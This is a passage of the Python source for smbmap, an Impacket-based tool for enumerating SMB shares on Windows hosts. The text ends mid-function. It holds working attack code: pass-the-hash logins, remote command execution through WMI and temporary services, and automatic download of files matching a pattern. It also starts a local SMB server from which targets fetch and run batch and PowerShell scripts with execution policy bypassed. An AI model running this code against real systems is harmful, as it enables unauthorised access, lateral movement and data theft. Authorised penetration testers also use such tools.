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smbmap.py
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#! /usr/bin/env python3
import sys
import traceback
import uuid
import signal
import string
import time
import random
import string
import logging
import configparser
import argparse
import ipaddress
import inspect
from threading import Thread
from threading import Semaphore
from impacket.examples import logger
from impacket import version, smbserver
from impacket.smbserver import SRVSServer
from impacket.smbserver import WKSTServer
from impacket.smbconnection import *
from impacket.dcerpc.v5 import transport, scmr
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
import ntpath
import cmd
import os
import re
# A lot of this code was taken from Impacket's own examples
# https://github.com/SecureAuthCorp/impacket/
# Seriously, the most amazing Python library ever!!
# Many thanks to that dev team
OUTPUT_FILENAME = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',10))
BATCH_FILENAME = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz', 10)) + '.bat'
SMBSERVER_DIR = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZ', 10))
DUMMY_SHARE = 'TMP'
PERM_DIR = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZ', 10))
PSUTIL_DIR= 'psutils'
PSUTIL_SHARE = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZ', 10))
class Loader(Thread):
def __init__(self):
Thread.__init__(self)
self._running = True
self._progress = '\\|/-\\|/-'
def terminate(self):
self._running = False
def cleanup(self):
print(' '*32, end='')
print('\r', end='')
def run(self):
while self._running:
for char in self._progress:
print('[{}] Working on it...'.format(char), end='')
print('\r', end='')
time.sleep(0.05)
class SimpleSMBServer(Thread):
def __init__(self, interface_address, port):
Thread.__init__(self)
self.smbserver = smbserver.SimpleSMBServer(listenAddress = interface_address, listenPort = int(port))
self.smbserver.addShare(PSUTIL_SHARE, PSUTIL_DIR, shareComment='P0w3r$he11')
self.smbserver.setSMB2Support(True)
def run(self):
self.smbserver.start()
class SMBServer(Thread):
def __init__(self):
Thread.__init__(self)
self.smb = None
print('[+] Initializing SMB server..')
def cleanup_server(self):
logging.info('Cleaning up..')
try:
os.unlink(SMBSERVER_DIR + '/smb.log')
except:
pass
os.rmdir(SMBSERVER_DIR)
def run(self):
# Here we write a mini config for the server
smbConfig = configparser.ConfigParser(allow_no_value=True)
smbConfig.add_section('global')
smbConfig.set('global','server_name','nopsec')
smbConfig.set('global','server_os','UNIX')
smbConfig.set('global','server_domain','WORKGROUP')
smbConfig.set('global','log_file', SMBSERVER_DIR + '/smb.log')
smbConfig.set('global','credentials_file','')
# Let's add a dummy share
smbConfig.add_section(DUMMY_SHARE)
smbConfig.set(DUMMY_SHARE,'comment','')
smbConfig.set(DUMMY_SHARE,'read only','no')
smbConfig.set(DUMMY_SHARE,'share type','0')
smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
# IPC always needed
smbConfig.add_section('IPC$')
smbConfig.set('IPC$','comment','')
smbConfig.set('IPC$','read only','yes')
smbConfig.set('IPC$','share type','3')
smbConfig.set('IPC$','path')
self.smb = smbserver.SMBSERVER(('0.0.0.0', 445), config_parser = smbConfig)
try:
os.mkdir(SMBSERVER_DIR)
except Exception as e:
pass
self.smb.processConfigFile()
self.__srvsServer = SRVSServer()
self.__srvsServer.daemon = True
self.__wkstServer = WKSTServer()
self.__wkstServer.daemon = True
self.smb.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort()))
self.smb.registerNamedPipe('wkssvc',('127.0.0.1',self.__wkstServer.getListenPort()))
try:
print('[+] SMB server started...')
self.__srvsServer.start()
self.__wkstServer.start()
self.smb.serve_forever()
except Exception as e:
print('[!] Error starting SMB server: ', e)
pass
def stop(self):
self.cleanup_server()
self.smb.socket.close()
self.smb.server_close()
#self._Thread__stop()
class WMIEXEC:
def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None,
noOutput=False, doKerberos=False, kdcHost=None, scr_output=True):
self.__command = command
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__share = share
self.__noOutput = noOutput
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__disp_output = scr_output
self.shell = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process,_ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShellWMI(self.__share, win32Process, smbConnection, self.__disp_output)
if self.__command != ' ':
output = self.shell.onecmd(self.__command)
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt) as e:
#import traceback
#traceback.print_exc()
logging.error(str(e))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
sys.stdout.flush()
#sys.exit(1)
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
return output
class RemoteShellWMI(cmd.Cmd):
def __init__(self, share, win32Process, smbConnection, disp_output=True):
cmd.Cmd.__init__(self)
self.__share = share
self.__output = '\\' + OUTPUT_FILENAME
self.__outputBuffer = ''
self.__shell = 'cmd.exe /Q /c '
self.__win32Process = win32Process
self.__transferClient = smbConnection
self.__pwd = 'C:\\'
self.__noOutput = False
self.__disp_output = disp_output
self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
# We don't wanna deal with timeouts from now on.
if self.__transferClient is not None:
self.__transferClient.setTimeout(100000)
self.do_cd('\\')
else:
self.__noOutput = True
def do_shell(self, s):
os.system(s)
def do_help(self, line):
print("""
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory)
get {file} - downloads pathname to the current local dir
! {cmd} - executes a local shell cmd
""")
def do_lcd(self, s):
if s == '':
print(os.getcwd())
else:
try:
os.chdir(s)
except Exception as e:
logging.error(str(e))
def do_get(self, src_path):
try:
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail)
fh = open(filename,'wb')
logging.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
fh.close()
except Exception as e:
logging.error(str(e))
os.remove(filename)
pass
def do_put(self, s):
try:
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = ''
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
dst_path = string.replace(dst_path, '/','\\')
pathname = ntpath.join(ntpath.join(self.__pwd,dst_path), src_file)
drive, tail = ntpath.splitdrive(pathname)
logging.info("Uploading %s to %s" % (src_file, pathname))
self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)
fh.close()
except Exception as e:
logging.critical(str(e))
pass
def do_exit(self, s):
return True
def emptyline(self):
return False
def do_cd(self, s):
self.execute_remote('cd ' + s)
if len(self.__outputBuffer.strip('\r\n')) > 0:
print(self.__outputBuffer)
self.__outputBuffer = ''
else:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = self.__pwd + '>'
self.__outputBuffer = ''
def default(self, line):
# Let's try to guess if the user is trying to change drive
if len(line) == 2 and line[1] == ':':
# Execute the command and see if the drive is valid
self.execute_remote(line)
if len(self.__outputBuffer.strip('\r\n')) > 0:
print(self.__outputBuffer)
self.__outputBuffer = ''
else:
# Drive valid, now we should get the current path
self.__pwd = line
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = self.__pwd + '>'
self.__outputBuffer = ''
else:
if line != '':
x = inspect.currentframe()
y = inspect.getouterframes(x,2)
return self.send_data(line)
def get_output(self):
def output_callback(data):
self.__outputBuffer += data.decode()
if self.__noOutput is True:
self.__outputBuffer = ''
return
while True:
try:
self.__transferClient.getFile(self.__share, self.__output, output_callback)
break
except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
# Output not finished, let's wait
time.sleep(1)
pass
else:
pass
self.__transferClient.deleteFile(self.__share, self.__output)
return self.__output
def execute_remote(self, data):
command = self.__shell + data
if self.__noOutput is False:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
self.__win32Process.Create(command, self.__pwd, None)
self.get_output()
def send_data(self, data):
self.execute_remote(data)
if self.__disp_output:
print(self.__outputBuffer)
__lastCmdOutput = self.__outputBuffer
self.__outputBuffer = ''
return __lastCmdOutput
class CMDEXEC:
def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, noOutput=False,
doKerberos=None, kdcHost=None, mode='SHARE', share=None, port=445, command=None):
self.__username = username
self.__password = password
self.__port = port
self.__serviceName = OUTPUT_FILENAME
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__share = share
self.__mode = mode
self.shell = None
self.command = command
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def run(self, remoteName, remoteHost):
stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % remoteName
logging.debug('StringBinding %s'%stringbinding)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(self.__port)
if hasattr(rpctransport,'setRemoteHost'):
rpctransport.setRemoteHost(remoteHost)
else:
rpctransport.__dstip = remoteHost
if hasattr(rpctransport,'preferred_dialect'):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
#rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.shell = None
try:
if self.__mode == 'SERVER':
serverThread = SMBServer()
serverThread.daemon = True
serverThread.start()
self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName)
self.shell.send_data(self.command)
if self.__mode == 'SERVER':
serverThread.stop()
except (Exception, KeyboardInterrupt) as e:
print('[!] Something went wrong:', str(e))
class RemoteShell(cmd.Cmd):
def __init__(self, share, rpc, mode, serviceName):
cmd.Cmd.__init__(self)
self.__share = share
self.__mode = mode
self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
self.__outputBuffer = ''
self.__command = ''
self.__shell = '%COMSPEC% /Q /c '
self.__serviceName = serviceName
self.__rpc = rpc
self.__scmr = rpc.get_dce_rpc()
try:
self.__scmr.connect()
except Exception as e:
#logging.critical(str(e))
print(e)
#sys.exit(1)
s = rpc.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
if mode == 'SERVER':
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
self.transferClient = rpc.get_smb_connection()
self.do_cd('')
def finish(self):
# Just in case the service is still created
try:
self.__scmr = self.__rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
service = resp['lpServiceHandle']
scmr.hRDeleteService(self.__scmr, service)
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(self.__scmr, service)
except:
pass
def do_shell(self, s):
os.system(s)
def do_exit(self, s):
return True
def emptyline(self):
return False
def do_cd(self, s):
# We just can't CD or mantain track of the target dir.
if len(s) > 0:
logging.error("You can't CD under SMBEXEC. Use full paths.")
self.execute_remote('cd ' )
if len(self.__outputBuffer) > 0:
# Stripping CR/LF
self.prompt = self.__outputBuffer.replace('\r\n','') + '>'
self.__outputBuffer = ''
def do_CD(self, s):
return self.do_cd(s)
def default(self, line):
if line != '':
self.send_data(line)
def get_output(self):
def output_callback(data):
self.__outputBuffer += data.decode()
if self.__mode == 'SHARE':
self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback)
self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME)
else:
fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r')
output_callback(fd.read())
fd.close()
os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
def execute_remote(self, data):
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \
self.__shell + self.__batchFile
if self.__mode == 'SERVER':
command += ' & ' + self.__copyBack
command += ' & ' + 'del ' + self.__batchFile
logging.debug('Executing %s' % command)
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service)
self.get_output()
def send_data(self, data):
self.execute_remote(data)
print(self.__outputBuffer)
self.__outputBuffer = ''
class SMBMap():
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
}
def __init__(self):
self.recursive = False
self.dir_only = False
self.list_files = False
self.loading = False
self.verbose = True
self.smbconn = {}
self.isLoggedIn = False
self.pattern = None
self.grepable = False
self.hosts = {}
self.jobs = {}
self.search_output_buffer = ''
self.loader = None
self.exclude = []
def login(self, host, username, password, domain):
try:
self.smbconn[host] = SMBConnection(host, host, sess_port=445, timeout=4)
self.smbconn[host].login(username, password, domain=domain)
'''
if self.smbconn[host].isGuestSession() > 0:
if verbose and not self.grepable:
print('[+] Guest SMB session established on %s...' % (host))
else:
if verbose and not self.grepable:
print('[+] User SMB session established on %s...' % (host))
'''
return True
except Exception as e:
return False
def logout(self, host):
self.smbconn[host].logoff()
def smart_login(self):
for host in list(self.hosts.keys()):
success = False
if self.is_ntlm(self.hosts[host]['passwd']):
#if verbose:
# print('[+] Hash detected, using pass-the-hash to authenticate')
if self.hosts[host]['port'] == 445:
success = self.login_hash(host, self.hosts[host]['user'], self.hosts[host]['passwd'], self.hosts[host]['domain'])
else:
success = self.login_rpc_hash(host, self.hosts[host]['user'], self.hosts[host]['passwd'], self.hosts[host]['domain'])
else:
if self.hosts[host]['port'] == 445:
success = self.login(host, self.hosts[host]['user'], self.hosts[host]['passwd'], self.hosts[host]['domain'])
else:
success = self.login_rpc(host, self.hosts[host]['user'], self.hosts[host]['passwd'], self.hosts[host]['domain'])
if not success:
if self.verbose:
print('[!] Authentication error on %s' % (host))
self.smbconn.pop(host,None)
self.hosts.pop(host, None)
continue
def login_rpc_hash(self, host, username, ntlmhash, domain):
lmhash, nthash = ntlmhash.split(':')
try:
self.smbconn[host] = SMBConnection('*SMBSERVER', host, sess_port=139, timeout=4)
self.smbconn[host].login(username, '', domain, lmhash=lmhash, nthash=nthash)
'''
if self.smbconn[host].isGuestSession() > 0:
if verbose and not self.grepable:
print('[+] Guest RPC session established on %s...' % (host))
else:
if verbose and not self.grepable:
print('[+] User RPC session established on %s...' % (host))
'''
return True
except Exception as e:
if self.verbose:
print('[!] RPC Authentication error occurred')
return False
def login_rpc(self, host, username, password, domain):
try:
self.smbconn[host] = SMBConnection('*SMBSERVER', host, sess_port=139, timeout=4)
self.smbconn[host].login(username, password, domain)
'''
if self.smbconn[host].isGuestSession() > 0:
if verbose and not self.grepable:
print('[+] Guest RPC session established on %s...' % (host))
else:
if verbose and not self.grepable:
print('[+] User RPC session established on %s...' % (host))
'''
return True
except Exception as e:
print('[!] RPC Authentication error occurred')
return False
def login_hash(self, host, username, ntlmhash, domain):
lmhash, nthash = ntlmhash.split(':')
try:
self.smbconn[host] = SMBConnection(host, host, sess_port=445, timeout=4)
self.smbconn[host].login(username, '', domain, lmhash=lmhash, nthash=nthash)
'''
if self.smbconn[host].isGuestSession() > 0:
if verbose and not self.grepable:
print('[+] Guest session established on %s...' % (host))
else:
if verbose and not self.grepable:
print('[+] User session established on %s...' % (host))
'''
return True
except Exception as e:
print('[!] Authentication error occurred')
return False
def find_open_ports(self, address, port):
result = 1
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((address,port))
if result == 0:
sock.close()
return True
else:
if self.verbose:
print('[!] 445 not open on {}....'.format(address))
return False
except:
if self.verbose():
print('[!] 445 not open on {}....'.format(address))
return False
def start_smb_server(self):
try:
serverThread = SimpleSMBServer('0.0.0.0', 445)
serverThread.daemon = True
serverThread.start()
except:
print('[!] Run as r00t, or maybe something is using port 445...')
sys.exit()
def start_file_search(self, host, pattern, share, search_path):
try:
myIPaddr = self.get_ip_address()
job_name = uuid.uuid4().hex
tmp_dir = self.exec_command(host, share, 'echo %TEMP%', disp_output=False).strip()
if len(tmp_dir) == 0:
tmp_dir = 'C:\\Windows\\Temp'
tmp_bat_cmd = 'powershell -NoLogo -ExecutionPolicy bypass -Command " & {}Get-ChildItem {}\*.* -Recurse -Exclude *.dll,*.exe,*.msi,*.jpg,*.gif,*.bmp | Select-String -Pattern \'{}\' | Select-Object -Unique Path | out-string -width 220{}" 2>nul > {}\{}.txt'.format('{', search_path, pattern, '}', tmp_dir, job_name)
tmp_bat = open('./{}/{}.bat'.format(PSUTIL_DIR, job_name), 'w')
tmp_bat.write(tmp_bat_cmd)
tmp_bat.close()
ps_command = 'powershell -ExecutionPolicy bypass -NoLogo -command "Start-Process """cmd.exe""" """/c \\\\{}\\{}\\{}.bat""" "'.format(myIPaddr, PSUTIL_SHARE, job_name)
success = self.exec_command(host, share, ps_command, disp_output=False)
print('[+] Job {} started on {}, result will be stored at {}\{}.txt'.format(job_name, host, tmp_dir, job_name))
proc_id = self.get_job_procid(host, share, tmp_dir, job_name)
if len(proc_id) > 0:
proc_id = [j.strip() for j in proc_id.split('\n') if len(j) > 0]
self.jobs[job_name] = { 'host' : host, 'share' : share, 'tmp' : tmp_dir , 'pattern' : pattern, 'start_time': time.perf_counter() , 'proc_id' : proc_id }
except Exception as e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
#print('[!] Something weird happened: {} on line {}'.format(e, exc_tb.tb_lineno))
sys.stdout.flush()
print('[!] Job creation failed on host: %s. Did you run as r00t?' % (host))
def get_job_procid(self, host, share, path, job):
try:
myIPaddr = self.get_ip_address()
file_path = '{}\{}.txt'.format(path, job)
command = 'powershell -NoLogo -ExecutionPolicy bypass -File "\\\\{}\\{}\\Get-FileLockProcess.ps1" "{}"'.format(myIPaddr, PSUTIL_SHARE, file_path)
result = self.exec_command(host, share, command, disp_output=False)
return result
except Exception as e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
print('[!] WTF: {} on line {}'.format(e, exc_tb.tb_lineno))
sys.stdout.flush()
def get_search_results(self, timeout):
print('[+] Checking on search results, be patient, drives tend to be big...')
counter = 0
num_jobs = len(list(self.jobs.keys()))
start_time = time.perf_counter()
while len(list(self.jobs.keys())) > 0:
try:
for job in list(self.jobs.keys()):
isItThere = self.exec_command(self.jobs[job]['host'], self.jobs[job]['share'], 'cmd /c "if exist {}\{}.txt echo ImHere"'.format(self.jobs[job]['tmp'], job), disp_output=False)
result = self.exec_command(self.jobs[job]['host'], self.jobs[job]['share'], 'cmd /c "2>nul (>>{}\{}.txt (call )) && (echo not locked) || (echo locked)"'.format(self.jobs[job]['tmp'], job), disp_output=False)
if 'not locked' == result.strip() and isItThere.strip() == 'ImHere':
dl_target = '%s%s\%s.txt' % (self.jobs[job]['share'], self.jobs[job]['tmp'][2:], job)
host_dest = self.download_file(self.jobs[job]['host'], dl_target)
counter += 1
self.search_output_buffer += 'Host: %s \t\tPattern: %s\n' % (self.jobs[job]['host'], self.jobs[job]['pattern'])
if os.stat(host_dest).st_size > 0:
results_file = open(host_dest)
self.search_output_buffer += results_file.read()
self.search_output_buffer += '\n'
else:
self.search_output_buffer += 'No matching patterns found\n\n'
print('[+] Job %d of %d completed on %s...' % (counter, num_jobs, self.jobs[job]['host']))
self.delete_file(self.jobs[job]['host'], dl_target)
os.remove('./{}/{}.bat'.format(PSUTIL_DIR, job))
self.jobs.pop(job, None)
if counter >= num_jobs:
break
else:
if time.perf_counter()-self.jobs[job]['start_time'] > int(timeout):
print('[!] Job {} is taking a long time....it\'s getting punted'.format(job))
for pid in self.jobs[job]['proc_id']:
kill_job = 'taskkill /PID {} /F'.format(pid)
success = self.exec_command(self.jobs[job]['host'], self.jobs[job]['share'], kill_job, disp_output=False)
os.remove('./{}/{}.bat'.format(PSUTIL_DIR, job))
time.sleep(10)
except Exception as e:
print(e)
print('[+] All jobs complete')
print(self.search_output_buffer)
def get_ip_address(self):
myIPaddr = ''
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect(('10.255.255.255', 1))
myIPaddr = s.getsockname()[0]
except:
myIPaddr = '127.0.0.1'
finally:
s.close()
return myIPaddr
def list_drives(self, host, share):
counter = 0
disks = []
try:
local_disks = self.exec_command( host, share, 'fsutil fsinfo drives', disp_output=False)
net_disks_raw = self.exec_command( host, share, 'net use', disp_output=False)
net_disks = ''
for line in net_disks_raw.split('\n'):
if ':' in line:
data = line.split(' ')
data = [a for a in data if a != '']
for item in data:
counter += 1
net_disks += '%s\t\t' % (item)
if '\\' in item:
net_disks += ' '.join(data[counter:])
break
disks.append(net_disks)
net_disks = ''
print('[+] Host %s Local %s' % (host, local_disks.strip()))
print('[+] Host %s Net Drive(s):' % (host))
if len(disks) > 0:
for disk in disks:
print('\t%s' % (disk))
else:
print('\tNo mapped network drives')
pass
except Exception as e:
print('[!] Error on {}: {}'.format(host, e))
def output_shares(self, host, lsshare, lspath, write_check=True, depth=5):
shareList = [(lsshare,'')] if lsshare else self.get_shares(host)
share_privs = ''
share_tree = {}
for share in shareList:
if share[0].lower() not in self.exclude:
share_name = share[0]
share_comment = share[1]
share_tree[share_name] = {}
canWrite = False
readonly = False
noaccess = False
if write_check:
try:
root = PERM_DIR.replace('/','\\')
root = ntpath.normpath(root)
self.create_dir(host, share_name, root)
share_tree[share_name]['privs'] = 'READ, WRITE'
canWrite = True
try:
self.remove_dir(host, share_name, root)
except Exception as e:
print('\t[!] Unable to remove test directory at \\\\%s\\%s\\%s, please remove manually' % (host, share_name, root))
except Exception as e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
#print(exc_type, fname, exc_tb.tb_lineno)
sys.stdout.flush()
try:
if self.smbconn[host].listPath(share_name, self.pathify('/')) and canWrite == False:
readonly = True
share_tree[share_name]['privs'] = 'READ ONLY'
except Exception as e:
noaccess = True
share_tree[share_name]['privs'] = 'NO ACCESS'
share_tree[share_name]['comment'] = share_comment
contents = {}
try:
if noaccess == False:
dirList = ''
if lspath:
path = lspath
else:
path = '/'
if self.list_files:
if self.pattern:
print('[+] Starting search for files matching \'%s\' on share %s.' % (self.pattern, share[0]))
contents = self.list_path(host, share_name, path, depth)
except Exception as e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
print('[!] Something weird happened: {} on line {}'.format(e, exc_tb.tb_lineno))
sys.stdout.flush()
sys.exit()
share_tree[share_name]['contents'] = contents
self.to_string(share_tree, host)
def kill_loader(self):
self.loading = False
self.loader.terminate()
self.loader.join()
self.loader.cleanup()
def list_path(self, host, share, path, depth=5, path_list=None):
if path_list is None:
path_list = {}
pwd = self.pathify(path)
width = 16
try:
pathList = self.smbconn[host].listPath(share, pwd)
path_list[path] = []
for item in pathList:
filesize = item.get_filesize()
readonly = 'w' if item.is_readonly() > 0 else 'r'
date = time.ctime(float(item.get_mtime_epoch()))
isDir = 'd' if item.is_directory() > 0 else 'f'
filename = item.get_longname()
if isDir == 'f':
if self.pattern:
fileMatch = re.search(self.pattern.lower(), filename.lower())
if fileMatch:
dlThis = '%s%s%s' % (share, pwd.strip('*'), filename)
dlThis = dlThis.replace('/','\\')
print('[+] Match found! Downloading: %s' % (dlThis))
self.download_file(host, dlThis)
if (self.dir_only == True and isDir == 'd') or ( (isDir == 'f' or isDir == 'd') and self.dir_only == False):
path_list[path].append({'isDir': isDir, 'readonly': readonly, 'filesize': filesize, 'date': date, 'filename': filename})
if self.recursive:
for smbItem in path_list[path]:
try:
if smbItem['isDir'] == 'd' and smbItem['filename'] not in [ '.', '..']:
subPath = '%s/%s' % (path, smbItem['filename'])
subPath = self.pathify(subPath)
pathList = self.smbconn[host].listPath(share, subPath)
if len(pathList) > 2 and '{}/{}'.format(path, smbItem['filename']) not in path_list.keys() and subPath.count('\\')-1 <= int(depth):
self.list_path(host, share, '%s/%s' % (path, smbItem['filename']), depth, path_list)
except SessionError as e:
continue
return path_list
except Exception as e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
print('[!] Something weird happened: {} on line {}'.format(e, exc_tb.tb_lineno))
sys.stdout.flush()
return {}
def to_string(self, share_tree, host):
self.kill_loader()
header = '\tDisk{}\tPermissions\tComment\n'.format(' '.ljust(50))
header += '\t----{}\t-----------\t-------'.format(' '.ljust(50))
heads_up = False
try:
for item in share_tree.keys():
if self.verbose == False and 'NO ACCESS' not in share_tree[item]['privs'] and self.grepable == False and not self.pattern:
if heads_up == False:
print(header)
heads_up = True
print('\t{}\t{}\t{}'.format(item.ljust(50), share_tree[item]['privs'], share_tree[item]['comment'] ) )
elif self.verbose and self.grepable == False and not self.pattern:
if heads_up == False:
print(header)
heads_up = True
print('\t{}\t{}\t{}'.format(item.ljust(50), share_tree[item]['privs'], share_tree[item]['comment'] ) )
for path in share_tree[item]['contents'].keys():
if self.grepable == False and self.verbose:
print('\t.\{}{}'.format(item, self.pathify(path)))
for file_info in share_tree[item]['contents'][path]:
isDir = file_info['isDir']
readonly = file_info['readonly']
filesize = file_info['filesize']
date = file_info['date']
filename = file_info['filename']
if (self.verbose and self.grepable == False) and ((self.dir_only == True and isDir == 'd') or ( (isDir == 'f' or isDir == 'd') and self.dir_only == False)):
print('\t%s%s--%s--%s-- %s %s\t%s' % (isDir, readonly, readonly, readonly, str(filesize).rjust(16), date, filename))
elif self.grepable:
if filename != '.' and filename != '..':
if (self.dir_only == True and isDir == 'd') or ( (isDir == 'f' or isDir == 'd') and self.dir_only == False):
print('host:{}, privs:{}, isDir:{}, name:{}{}\{}, fileSize:{}, date:{}'.format(host, share_tree[item]['privs'].replace(',','').replace(' ', '_'), isDir, item, self.pathify(path).replace('\*',''), filename, str(filesize), date))
except Exception as e:
print('[!] Bummer: ', e)
def get_shares(self, host):
try:
shareList = self.smbconn[host].listShares()
shares = []
for item in range(len(shareList)):
shares.append( (shareList[item]['shi1_netname'][:-1], shareList[item]['shi1_remark'][:-1]) )
return shares
except Exception as e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
#print('[!] Something weird happened: {} on line {}'.format(e, exc_tb.tb_lineno))
sys.stdout.flush()
#sys.exit()
def pathify(self, path):
root = ''
root = ntpath.join(path,'*')
root = root.replace('/','\\')
root = root.replace('\\\\','\\')
root = ntpath.normpath(root)
return root
def create_dir(self, host, share, path):
#path = self.pathify(path)
self.smbconn[host].createDirectory(share, path)
def remove_dir(self, host, share, path):
#path = self.pathify(path)
self.smbconn[host].deleteDirectory(share, path)
def valid_ip(self, address):
try:
socket.inet_aton(address)
return True
except:
return False
def filter_results(self, pattern):
pass
def download_file(self, host, path):
path = path.replace('/','\\')
path = ntpath.normpath(path)
filename = path.split('\\')[-1]
share = path.split('\\')[0]
path = path.replace(share, '')
try:
out = open(ntpath.basename('%s/%s' % (os.getcwd(), '%s-%s%s' % (host, share.replace('$',''), path.replace('\\','_')))),'wb')